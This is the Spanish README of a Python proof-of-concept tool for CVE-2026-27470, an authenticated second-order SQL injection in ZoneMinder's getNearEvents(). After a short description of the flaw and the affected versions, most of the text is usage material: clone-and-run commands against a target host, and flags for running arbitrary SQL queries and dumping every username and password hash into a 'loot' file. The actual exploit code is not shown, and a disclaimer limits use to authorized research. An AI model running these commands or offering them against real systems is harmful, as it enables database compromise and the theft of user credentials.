
Python PoC para CVE-2026-27470, inyección SQL autenticada de segundo orden en getNearEvents() (status.php) de ZoneMinder, CVSS 8.8
Autor: d3vn0mi | CVSS 8.8 | Autenticado | Requiere Permiso de Eventos
CVE-2026-27470 es una vulnerabilidad de inyección SQL de segundo orden en web/ajax/status.php de ZoneMinder — específicamente en la función getNearEvents().
| Detalle | Valor |
|---|
| Afectado | ZoneMinder <= 1.36.37 y 1.37.61 – 1.38.0 |
| Corregido en | 1.36.38 / 1.38.1 |
| Tipo | Inyección SQL de Segundo Orden |
| Autenticación requerida | Sí (cualquier usuario con permiso de Eventos) |
| CVSS | 8.8 (Alto) |
La vulnerabilidad es una inyección SQL de dos fases (segundo orden):
Fase 1 — Almacenamiento: El atacante renombra un evento (o edita su campo Cause) para que contenga un payload SQL. ZoneMinder utiliza una consulta parametrizada para esta escritura, por lo que el payload se almacena de forma segura en la base de datos — ningún WAF o filtro lo bloquea.
Fase 2 — Disparo: El atacante solicita la entidad nearevents a través de la API de estado. La función getNearEvents() lee el Name/Cause del evento almacenado desde la base de datos y lo concatena directamente en una nueva consulta SQL sin saneamiento, lo que resulta en una inyección SQL.
Debido a que el vector de inyección (datos almacenados) está separado del disparador (una solicitud GET limpia), esto evita la mayoría de las protecciones a nivel de entrada.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
Las credenciales se guardan en dumped_creds.txt por defecto.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| Flag | Descripción | Valor por defecto |
|---|---|---|
-t, --target | URL del objetivo | (requerido) |
-u, --username | Nombre de usuario de ZoneMinder | (requerido) |
-p, --password | Contraseña de ZoneMinder | (requerido) |
--query | Consulta SQL a ejecutar | SELECT VERSION() |
--dump-users | Volcar todos los nombres de usuario y hashes de contraseñas | |
-o, --output | Guardar resultados en un archivo | dumped_creds.txt |
--event-id | ID de evento a usar como portador de la inyección | (auto-detectado) |
--field | Campo de inyección: Name o Cause | Name |
--no-restore | No restaurar el nombre del evento después de la explotación | |
--proxy | URL del proxy HTTP | |
--timeout | Tiempo de espera de la solicitud en segundos | 30 |
-v, --verbose | Habilitar registro de depuración |
Esta herramienta se proporciona únicamente con fines de investigación de seguridad educativa y autorizada. No la utilices contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para realizar pruebas. Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta.